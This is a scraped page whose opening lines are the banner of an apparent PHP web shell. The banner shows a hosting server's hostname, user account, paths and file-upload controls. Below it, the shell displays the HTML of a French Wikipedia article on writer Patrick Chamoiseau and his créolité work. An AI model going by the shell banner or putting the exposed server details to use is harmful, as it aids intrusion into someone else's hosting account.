Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/p/a/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles//p/a/t/Patrick_Chamoiseau_ec95.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Patrick Chamoiseau - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Patrick Chamoiseau</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p><b>Patrick Chamoiseau</b> (né à <a href="../../../../articles/f/o/r/Fort-de-France_bfe4.html" title="Fort-de-France">Fort-de-France</a>, <a href="../../../../articles/3/_/d/3_d%C3%A9cembre.html" title="3 décembre">3 décembre</a> <a href="../../../../articles/1/9/5/1953.html" title="1953">1953</a>) est un écrivain français originaire de la <a href="../../../../articles/m/a/r/Martinique.html" title="Martinique">Martinique</a>.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Biographie"><span class="tocnumber">1</span> <span class="toctext">Biographie</span></a></li>
<li class="toclevel-1"><a href="#.C5.92uvre"><span class="tocnumber">2</span> <span class="toctext">Œuvre</span></a>
<ul>
<li class="toclevel-2"><a href="#Le_marqueur_de_paroles"><span class="tocnumber">2.1</span> <span class="toctext">Le marqueur de paroles</span></a></li>
<li class="toclevel-2"><a href="#Oeuvres_autobiographiques"><span class="tocnumber">2.2</span> <span class="toctext">Oeuvres autobiographiques</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#D.C3.A9fense_de_la_cr.C3.A9olit.C3.A9"><span class="tocnumber">3</span> <span class="toctext">Défense de la créolité</span></a></li>
<li class="toclevel-1"><a href="#Bibliographie"><span class="tocnumber">4</span> <span class="toctext">Bibliographie</span></a></li>
<li class="toclevel-1"><a href="#Sc.C3.A9nario"><span class="tocnumber">5</span> <span class="toctext">Scénario</span></a></li>
<li class="toclevel-1"><a href="#Lien_externe"><span class="tocnumber">6</span> <span class="toctext">Lien externe</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Biographie" id="Biographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Biographie">modifier</a>]</span> <span class="mw-headline">Biographie</span></h2>
<p>Après des études en France métropolitaine, inspiré par les travaux d'<a href="../../../../articles/%C3%A9/d/o/%C3%89douard_Glissant_709a.html" title="Édouard Glissant">Édouard Glissant</a>, Patrick Chamoiseau rentre en <a href="../../../../articles/m/a/r/Martinique.html" title="Martinique">Martinique</a> et s'intéresse de près à la culture <a href="../../../../articles/c/r/%C3%A9/Cr%C3%A9olit%C3%A9.html" title="Créolité">créole</a>. Il publie son premier roman en <a href="../../../../articles/1/9/8/1986.html" title="1986">1986</a>. Il obtient la consécration en <a href="../../../../articles/1/9/9/1992.html" title="1992">1992</a> en gagnant le <a href="../../../../articles/p/r/i/Prix_Goncourt_c644.html" title="Prix Goncourt">prix Goncourt</a> pour son roman <i>Texaco</i>, une œuvre vaste présentant la vie de Martiniquais sur trois générations.</p>
<p>Il participe également à l'écriture de nombreux films dont <a href="../../../../articles/b/i/g/Biguine.html" title="Biguine">Biguine</a> (2004), Aliker (2007), Nord-Plage (2004) ou encore Le Passage du Milieu.</p>
<p><a name=".C5.92uvre"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Œuvre">modifier</a>]</span> <span class="mw-headline">Œuvre</span></h2>
<p><a name="Le_marqueur_de_paroles" id="Le_marqueur_de_paroles"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Le marqueur de paroles">modifier</a>]</span> <span class="mw-headline">Le marqueur de paroles</span></h3>
<p>Son œuvre dépeint les traits de la culture populaire martiniquaise, celle des petites gens et de leurs combats. <i>Chronique des Sept misères</i> évoque le triste destin des djobeurs, hommes à tout faire sur les marchés de Fort-de-France, dont la présence se fit de plus en plus rare avec la perte d'influence de ces mêmes marchés. Cet ouvrage déplore la disparition d'une créativité qui alimentait l'identité créole. Il dénonce avec chronique des sept misères l'acculturation du peuple martiniquais, largement du à la départementalisation.</p>
<p><i><a href="../../../../articles/t/e/x/Texaco_%28roman%29.html" title="Texaco (roman)">Texaco</a></i> explore l'histoire moderne de la <a href="../../../../articles/m/a/r/Martinique.html" title="Martinique">Martinique</a>. Ce roman revisite, d'une manière originale et rafraichissante, l'épopée du petit peuple martiniquais à travers le récit du combat des habitants d'un <a href="../../../../articles/b/i/d/Bidonville.html" title="Bidonville">bidonville</a> située sur les hauteurs de <a href="../../../../articles/f/o/r/Fort-de-France_bfe4.html" title="Fort-de-France">Fort-de-France</a>. Il évoque ainsi le combat pour la sauvegarde de certains modes de vie authentiquement créoles.</p>
<p>Texaco est reconnu comme l'une des œuvres antillaises majeures de la fin du <a href="../../../../articles/x/x/e/XXe_si%C3%A8cle_ed3d.html" title="XXe siècle"><span class="romain" title="Nombre&#160;écrit en chiffres romains">XX</span><sup class="exposant">e</sup>&#160;siècle</a>.</p>
<p>Cherchant à restituer les saveurs et les douleurs de l'existence caribéenne, l'auteur préfère cependant l'évocation du passé au détriment d'une trame se déroulant à une époque contemporaine.</p>
<p>Chamoiseau interroge également les formes d'expression créole. Prenant acte de l'existence d'une culture <a href="../../../../articles/c/r/%C3%A9/Cr%C3%A9ole.html" title="Créole">créole</a> essentiellement travaillée par l'<a href="../../../../articles/o/r/a/Oralit%C3%A9.html" title="Oralité">oralité</a>, il envisage le développement d'une littérature orale pour laquelle l'écrivain, héritant des tournures orales et des conteurs créoles, aurait pour rôle de s'ériger en "marqueur de paroles".</p>
<p>Il évoque sa démarche littéraire et son itinéraire artistique dans un essai récent. (cf. <i>Ecrire en pays dominé</i>).</p>
<p><a name="Oeuvres_autobiographiques" id="Oeuvres_autobiographiques"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Oeuvres autobiographiques">modifier</a>]</span> <span class="mw-headline">Oeuvres autobiographiques</span></h3>
<p>Dans une trilogie récemment achevée, il évoque son enfance: Antan d'enfance (1990), Chemin d'école (1994) et À bout d'enfance (2005).</p>
<p><a name="D.C3.A9fense_de_la_cr.C3.A9olit.C3.A9" id="D.C3.A9fense_de_la_cr.C3.A9olit.C3.A9"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Défense de la créolité">modifier</a>]</span> <span class="mw-headline">Défense de la créolité</span></h2>
<p>Il participe également à la création du manifeste de la créolité avec <a href="../../../../articles/j/e/a/Jean_Bernab%C3%A9_2048.html" title="Jean Bernabé">Jean Bernabé</a> et <a href="../../../../articles/r/a/p/Rapha%C3%ABl_Confiant_fc25.html" title="Raphaël Confiant">Raphaël Confiant</a>.</p>
<p>Ce courant aura un très grand retentissement, d'abord dans les milieux littéraires antillais (on peut évoquer ici le relatif ralliement d'auteurs tels que le Guadeloupéen Ernest Pépin, ou encore l'intérêt que porte l'Haïtien <a href="../../../../articles/r/e/n/Ren%C3%A9_Depestre_ebbc.html" title="René Depestre">René Depestre</a>, pour le courant).</p>
<p>Par ailleurs, Chamoiseau prête son talent au cinéma en écrivant les scénarios de <i>l'Exil du roi Behanzin</i> (1994), <i>Passage du milieu</i> (2000) et <i>Biguine</i> (2004) (tous trois réalisés par Guy Deslauriers). En 2007 il écrit le scénario du nouveau film de Guy Deslauriers retraçant la vie du journaliste André Aliker (qui fut assassiné alors qu'il s'apprêtait à dévoiler une affaire compromettante entre békés).</p>
<p>Ami d'<a href="../../../../articles/%C3%A9/d/o/%C3%89douard_Glissant_709a.html" title="Édouard Glissant">Édouard Glissant</a>, il cherche à développer avec celui-ci le concept de mondialité, en vue de traduire, sur le point de vue politique et poétique, une nouvelle conception du monde qui serait fondée sur l'ouverture des cultures, la protection des imaginaires des peuples, lesquels disparaissent lentement sous l'action de l'uniformisation du monde provoqué par la mondialisation.</p>
<p><a name="Bibliographie" id="Bibliographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Bibliographie">modifier</a>]</span> <span class="mw-headline">Bibliographie</span></h2>
<ul>
<li><i>Maman Dlo contre la fée Carabosse</i>, théâtre-conte, <a href="../../../../articles/%C3%A9/d/i/%C3%89ditions_carib%C3%A9ennes.html" title="Éditions caribéennes">Éditions caribéennes</a>, 1981</li>
<li><i>Chronique des sept misères</i>, roman, <a href="../../../../articles/g/a/l/Gallimard.html" title="Gallimard">Gallimard</a>, <a href="../../../../articles/1/9/8/1986.html" title="1986">1986</a></li>
<li><i>Solibo magnifique</i>, roman, <a href="../../../../articles/g/a/l/Gallimard.html" title="Gallimard">Gallimard</a>, <a href="../../../../articles/1/9/8/1988.html" title="1988">1988</a></li>
<li><i>Au temps de l'antan</i>, contes créoles, Hatier, 1988</li>
<li><i>Martinique</i>, essai, Ed. Hoa-Qui, 1990</li>
<li><i>Éloge de la créolité</i>, essai, <a href="../../../../articles/g/a/l/Gallimard.html" title="Gallimard">Gallimard</a>, <a href="../../../../articles/1/9/8/1989.html" title="1989">1989</a> (avec <a href="../../../../articles/j/e/a/Jean_Bernab%C3%A9_2048.html" title="Jean Bernabé">Jean Bernabé</a> et <a href="../../../../articles/r/a/p/Rapha%C3%ABl_Confiant_fc25.html" title="Raphaël Confiant">Raphaël Confiant</a>)</li>
<li><i>Antan d'enfance</i>, Hatier, 1990</li>
<li><i>Lettres créoles&#160;: tracées antillaises et continentales de la littérature, Haïti, Guadeloupe, Martinique, Guyane (<a href="../../../../articles/1/6/3/1635.html" title="1635">1635</a>-<a href="../../../../articles/1/9/7/1975.html" title="1975">1975</a>)</i>, essai, <a href="../../../../articles/1/9/9/1991.html" title="1991">1991</a> (avec <a href="../../../../articles/r/a/p/Rapha%C3%ABl_Confiant_fc25.html" title="Raphaël Confiant">Raphaël Confiant</a>)</li>
<li><i><a href="../../../../articles/t/e/x/Texaco_%28roman%29.html" title="Texaco (roman)">Texaco</a></i>, roman, <a href="../../../../articles/g/a/l/Gallimard.html" title="Gallimard">Gallimard</a>, <a href="../../../../articles/1/9/9/1992.html" title="1992">1992</a>, <a href="../../../../articles/p/r/i/Prix_Goncourt_c644.html" title="Prix Goncourt">Prix Goncourt</a></li>
<li><i>Une Enfance créole 1, Antan d'enfance</i>, autobiographie, <a href="../../../../articles/1/9/9/1993.html" title="1993">1993</a>, Prix Carbet</li>
<li><i>Martinique</i>, essai, <a href="../../../../articles/1/9/9/1994.html" title="1994">1994</a> (avec V. Renaudeau)</li>
<li><i>Guyane&#160;: Traces-Mémoires du bagne</i>, essai, <a href="../../../../articles/1/9/9/1994.html" title="1994">1994</a></li>
<li><i>Une enfance créole 2, Chemin d'école</i>, autobiographie, <a href="../../../../articles/1/9/9/1994.html" title="1994">1994</a></li>
<li><i>Écrire en pays dominé</i>, essai, <a href="../../../../articles/1/9/9/1997.html" title="1997">1997</a></li>
<li><i>L'Esclave vieil homme et le molosse</i>, conte, <a href="../../../../articles/1/9/9/1997.html" title="1997">1997</a></li>
<li><i>Emerveilles</i> , <a href="../../../../articles/1/9/9/1998.html" title="1998">1998</a></li>
<li><i>Elmire des sept bonheurs&#160;: confidences d'un vieux travailleur de la distillerie Saint-Etienne</i>, essai, <a href="../../../../articles/1/9/9/1998.html" title="1998">1998</a> (avec Jean-Luc de Laguarigue)</li>
<li><i>Case en pays-mêlés</i>, <a href="../../../../articles/2/0/0/2000.html" title="2000">2000</a> (avec Jean-Luc de Laguarigue)</li>
<li><i>Métiers créoles&#160;: tracées de mélancolie</i>, Hazan, <a href="../../../../articles/2/0/0/2001.html" title="2001">2001</a> (avec Jean-Luc de Laguarigue)</li>
<li><i>Biblique des derniers gestes</i>, roman, <a href="../../../../articles/2/0/0/2002.html" title="2002">2002</a>, Prix Spécial du Jury RFO</li>
<li><i>Les bois sacrés d'Hélénon</i>, 2002 (avec Dominique Berthet)</li>
<li><i>Le commandeur d'une pluie&#160;; l'accra de la richesse</i>, <a href="../../../../articles/2/0/0/2002.html" title="2002">2002</a> (avec <a href="../../../../articles/w/i/l/William_Wilson_6e4c.html" title="William Wilson">William Wilson</a>)</li>
<li><i>Livret des villes du deuxième monde</i>, 2002</li>
<li><i>Une enfance créole 3, À bout d'enfance</i>, autobiographie, <a href="../../../../articles/2/0/0/2005.html" title="2005">2005</a></li>
<li><i>Un dimanche au cachot</i>, roman, <a href="../../../../articles/2/0/0/2007.html" title="2007">2007</a></li>
<li><i>Quand les murs tombent&#160;; l'identité nationale hors-la-loi&#160;?, essai, <a href="../../../../articles/2/0/0/2007.html" title="2007">2007</a> (avec <a href="../../../../articles/e/d/o/Edouard_Glissant_6c05.html" class="mw-redirect" title="Edouard Glissant">Edouard Glissant</a>)</i></li>
</ul>
<p><a name="Sc.C3.A9nario" id="Sc.C3.A9nario"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Scénario">modifier</a>]</span> <span class="mw-headline">Scénario</span></h2>
<ul>
<li><i>l'Exil du roi Behanzin</i> (1994) de Duy Deslauriers</li>
<li><i>Le Passage du Milieu</i> (2000) de Duy Deslauriers</li>
<li><i><a href="../../../../articles/b/i/g/Biguine.html" title="Biguine">Biguine</a></i> (2004) de Duy Deslauriers</li>
<li><i>Nord-Plage</i> (2004)</li>
<li><i>l'affaire Aliker</i> (2007) de Duy Deslauriers</li>
</ul>
<p><a name="Lien_externe" id="Lien_externe"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html" title="Modifier la section&#160;: Lien externe">modifier</a>]</span> <span class="mw-headline">Lien externe</span></h2>
<ul>
<li><a href="http://auteurs.contemporain.info/patrick-chamoiseau/" class="external text" title="http://auteurs.contemporain.info/patrick-chamoiseau/" rel="nofollow">Documentation critique sur l'œuvre de Patrick Chamoiseau</a></li>
<li><a href="http://www.lekti-ecriture.com/contrefeux/Patrick-Chamoiseau-l-oiseau.html" class="external text" title="http://www.lekti-ecriture.com/contrefeux/Patrick-Chamoiseau-l-oiseau.html" rel="nofollow">Patrick Chamoiseau&#160;: le marqueur de paroles</a></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 42/1000000
Post-expand include size: 453/2048000 bytes
Template argument size: 57/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/l/a/u/Cat%C3%A9gorie%7ELaur%C3%A9at_du_Prix_Goncourt_c50e.html" title="Catégorie:Lauréat du Prix Goncourt">Lauréat du Prix Goncourt</a></span> | <span dir='ltr'><a href="../../../../articles/%C3%A9/c/r/Cat%C3%A9gorie%7E%C3%89crivain_fran%C3%A7ais_du_XXe_si%C3%A8cle_1921.html" title="Catégorie:Écrivain français du XXe siècle">Écrivain français du XXe siècle</a></span> | <span dir='ltr'><a href="../../../../articles/%C3%A9/c/r/Cat%C3%A9gorie%7E%C3%89crivain_fran%C3%A7ais_du_XXIe_si%C3%A8cle_f92b.html" title="Catégorie:Écrivain français du XXIe siècle">Écrivain français du XXIe siècle</a></span> | <span dir='ltr'><a href="../../../../articles/%C3%A9/c/r/Cat%C3%A9gorie%7E%C3%89crivain_martiniquais_149d.html" title="Catégorie:Écrivain martiniquais">Écrivain martiniquais</a></span> | <span dir='ltr'><a href="../../../../articles/%C3%A9/c/r/Cat%C3%A9gorie%7E%C3%89crivain_de_langue_cr%C3%A9ole_3f3c.html" title="Catégorie:Écrivain de langue créole">Écrivain de langue créole</a></span> | <span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_en_1953_2e9d.html" title="Catégorie:Naissance en 1953">Naissance en 1953</a></span> | <span dir='ltr'><a href="../../../../articles/p/e/r/Cat%C3%A9gorie%7EPersonnalit%C3%A9_de_la_Martinique_a657.html" title="Catégorie:Personnalité de la Martinique">Personnalité de la Martinique</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/p/a/t/Patrick_Chamoiseau_ec95.html">Article</a></li><li id="ca-talk"
	       class="new"	       ><a href="../../../../articles/p/a/t/Discuter%7EPatrick_Chamoiseau_4d78.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Patrick_Chamoiseau">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/p/a/t/Patrick_Chamoiseau_ec95.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/p/a/t/Patrick_Chamoiseau_ec95.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/p/a/t/Patrick_Chamoiseau_ec95.html">Suomi</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/p/a/t/Patrick_Chamoiseau_ec95.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%83%91/%E3%83%88/%E3%83%AA/%E3%83%91%E3%83%88%E3%83%AA%E3%83%83%E3%82%AF%E3%83%BB%E3%82%B7%E3%83%A3%E3%83%A2%E3%83%AF%E3%82%BE%E3%83%BC.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/p/a/t/Patrick_Chamoiseau_ec95.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/p/a/t/Patrick_Chamoiseau_ec95.html">Português</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 20 avril 2008 à 21:03 par Utilisateur <a href="../../../../articles/a/l/e/Utilisateur%7EAlecs.bot_6f7d.html" title="Utilisateur:Alecs.bot">Alecs.bot</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/r/e/m/Utilisateur%7ERemihh_6f96.html" title="Utilisateur:Remihh">Remihh</a>, <a href="../../../../articles/r/a/b/Utilisateur%7ERabend_2e6c.html" title="Utilisateur:Rabend">Rabend</a>, <a href="../../../../articles/p/i/p/Utilisateur%7EPipepBot_2d31.html" title="Utilisateur:PipepBot">PipepBot</a>, <a href="../../../../articles/d/a/v/Utilisateur%7EDavid_Berardan_beca.html" title="Utilisateur:David Berardan">David Berardan</a>, <a href="../../../../articles/l/a/u/Utilisateur%7ELaurent_Nguyen_0334.html" title="Utilisateur:Laurent Nguyen">Laurent Nguyen</a>, <a href="../../../../articles/p/y/l/Utilisateur%7EPylambert_c338.html" title="Utilisateur:Pylambert">Pylambert</a>, <a href="../../../../articles/h/u/s/Utilisateur%7EHuster_b4c0.html" title="Utilisateur:Huster">Huster</a>, <a href="../../../../articles/p/f/i/Utilisateur%7EPfinge_7aed.html" title="Utilisateur:Pfinge">Pfinge</a>, <a href="../../../../articles/s/h/a/Utilisateur%7EShakki_d042.html" title="Utilisateur:Shakki">Shakki</a>, <a href="../../../../articles/p/i/x/Utilisateur%7EPixelBot_d78c.html" title="Utilisateur:PixelBot">PixelBot</a>, <a href="../../../../articles/k/o/r/Utilisateur%7EKorrigan_4cd3.html" title="Utilisateur:Korrigan">Korrigan</a>, <a href="../../../../articles/m/a/x/Utilisateur%7EMaxo972_68a5.html" title="Utilisateur:Maxo972">Maxo972</a>, <a href="../../../../articles/i/n/i/Utilisateur%7EInisheer_5d71.html" title="Utilisateur:Inisheer">Inisheer</a>, <a href="../../../../articles/n/i/c/Utilisateur%7ENicolas_Ray_14b8.html" title="Utilisateur:Nicolas Ray">Nicolas Ray</a>, <a href="../../../../articles/j/b/o/Utilisateur%7EJborme_2e75.html" title="Utilisateur:Jborme">Jborme</a>, <a href="../../../../articles/j/i/b/Utilisateur%7EJibi44_893d.html" title="Utilisateur:Jibi44">Jibi44</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a>, <a href="../../../../articles/f/l/o/Utilisateur%7EFlorian_09_83cf.html" title="Utilisateur:Florian 09">Florian 09</a>, <a href="../../../../articles/o/l/l/Utilisateur%7EOllamh_5bf0.html" title="Utilisateur:Ollamh">Ollamh</a>, <a href="../../../../articles/s/i/m/Utilisateur%7ESim1944_f77f.html" title="Utilisateur:Sim1944">Sim1944</a>, <a href="../../../../articles/b/o/b/Utilisateur%7EBob08_5a46.html" title="Utilisateur:Bob08">Bob08</a>, <a href="../../../../articles/e/s/p/Utilisateur%7EEsprit_Fugace_45c3.html" title="Utilisateur:Esprit Fugace">Esprit Fugace</a>, <a href="../../../../articles/l/i/q/Utilisateur%7ELiquid-aim-bot_78e0.html" title="Utilisateur:Liquid-aim-bot">Liquid-aim-bot</a>, <a href="../../../../articles/d/a/i/Utilisateur%7EDainDwarf_e101.html" title="Utilisateur:DainDwarf">DainDwarf</a>, <a href="../../../../articles/k/i/l/Utilisateur%7EKilom691_4b28.html" title="Utilisateur:Kilom691">Kilom691</a>, <a href="../../../../articles/x/i/l/Utilisateur%7EXila_accd.html" title="Utilisateur:Xila">Xila</a>, <a href="../../../../articles/g/r/o/Utilisateur%7EGrondin_4c89.html" title="Utilisateur:Grondin">Grondin</a>, <a href="../../../../articles/a/r/n/Utilisateur%7EArnaud.Serander_cfc1.html" title="Utilisateur:Arnaud.Serander">Arnaud.Serander</a>, <a href="../../../../articles/m/a/g/Utilisateur%7EMagnetiK-BoT_45d2.html" title="Utilisateur:MagnetiK-BoT">MagnetiK-BoT</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotQuistnix_d78e.html" title="Utilisateur:RobotQuistnix">RobotQuistnix</a>, <a href="../../../../articles/k/e/w/Utilisateur%7EKewp_5567.html" title="Utilisateur:Kewp">Kewp</a>, <a href="../../../../articles/s/e/b/Utilisateur%7ESebb_5dd0.html" title="Utilisateur:Sebb">Sebb</a>, <a href="../../../../articles/l/m/a/Utilisateur%7ELmaltier_4140.html" title="Utilisateur:Lmaltier">Lmaltier</a>, <a href="../../../../articles/c/h/r/Utilisateur%7EChris93_f10d.html" title="Utilisateur:Chris93">Chris93</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMedBot_8f10.html" title="Utilisateur:MedBot">MedBot</a>, <a href="../../../../articles/p/l/l/Utilisateur%7EPll_6356.html" title="Utilisateur:Pll">Pll</a>, <a href="../../../../articles/b/b/u/Utilisateur%7EBbullot_8fb0.html" title="Utilisateur:Bbullot">Bbullot</a> et <a href="../../../../articles/s/k/i/Utilisateur%7ESkipi_5fe9.html" title="Utilisateur:Skipi">Skipi</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX